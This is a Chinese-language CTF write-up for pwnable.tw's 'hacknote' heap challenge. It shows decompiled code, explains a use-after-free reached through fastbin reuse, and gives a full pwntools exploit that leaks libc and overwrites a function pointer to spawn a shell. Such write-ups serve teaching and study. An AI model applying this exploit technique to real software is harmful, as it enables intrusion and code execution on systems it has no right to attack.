Hacknote

对于入门堆的师傅来说,这是个不错的入门题,但pwnabletw上扣了符号表,gdb调试起来比较麻烦,建议先做攻防世界上的,我们先看看ida反编译出来的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __cdecl __noreturn main()
{
int v0; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
all_choice();
read(0, buf, 4u);
v0 = atoi(buf); // get choice
if ( v0 != 2 )
break;
delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print_note();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add_note();
}
}
}

比较经典的形式,这里的重点在三个函数上,我们一起看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
unsigned int add_note()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( limit <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = puts_a;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++limit;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}



####delete
unsigned int delete()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= limit )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}



####print_note
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= limit )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(0x14u) ^ v3;
}

仔细看可以发现,delete节点后这里没有把指针置为NULL,也没有对note数量进行减操作,delete后的note仍然可以通过print_note来访问,很明显是存在uaf(Use-after-free)漏洞的。
我们继续看add的逻辑,发现这个程序在生成一个content节点之前,会先申请一个chunk存放puts的地址和content chunk的地址。那现在,我们已经有大概的思路了,首先由于index chunk的申请大小小于0x10,所以在free之后它会归fastbin管理,fastbin是个单向链表,遵循先进后出原则(最后一个free的chunk会被优先分配)。那么我们就可以先申请两个大于0x20的note,记为note0,note1。index chunk 记为index0,index1。再将他们delete,由于note大于0x20,所以此时我们的fastbin是:index0->index1,此时我们再去申请一个小于0xf的chunk(add_note),那么这个note的chunk就会从fastbin中取,这个note我们记为note3: index : index0, content:index1 此时我们就可以向index1里面写一些函数的地址 ,然后调用了。 知道原理后 ,这就是一个简单的32位ret2libc。

###exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(arch="i386",os="linux")
#p=process("./hacknote")
p=remote("chall.pwnable.tw",10102)
elf=ELF("./hacknote")
def add_note(size,content):
p.sendafter("Your choice :",str(1))
p.sendafter("size :",str(size))
p.sendafter("Content :",content)
def delete_note(index):
p.sendafter("Your choice :",str(2))
p.sendafter("Index :",str(index))
def print_note(index):
p.sendafter("Your choice :",str(3))
p.sendafter("Index :",str(index))
def get_out():
p.sendafter("Your choice :",str(4))
libc=ELF("./libc_32.so.6")
#gdb.attach(p)
add_note(size=0x50,content=b"aaaa") #note 0
add_note(size=0x50,content=b"aaaa")# note 1
delete_note(1) #delete note 1
delete_note(0) #delete note 0
read_got=elf.got["read"]
puts=0x804862B
payload=p32(puts)+p32(read_got)
add_note(size=0x8,content=payload)
print_note(1)
read_addr=int.from_bytes(p.recv(4),byteorder="little")
libc_base=read_addr-libc.sym["read"]
print(hex(libc_base))
system=libc.sym["system"]+libc_base
bin_sh=libc_base+next(libc.search(b"/bin/sh"))
payload=p32(system)+b";sh\0"
#add_note(size=0x20,content=b"aaaa")
delete_note(2)
#delete_note(3)
add_note(size=0x8,content=payload)
print_note(1)
p.interactive()

如有错误,欢迎各位师傅指正。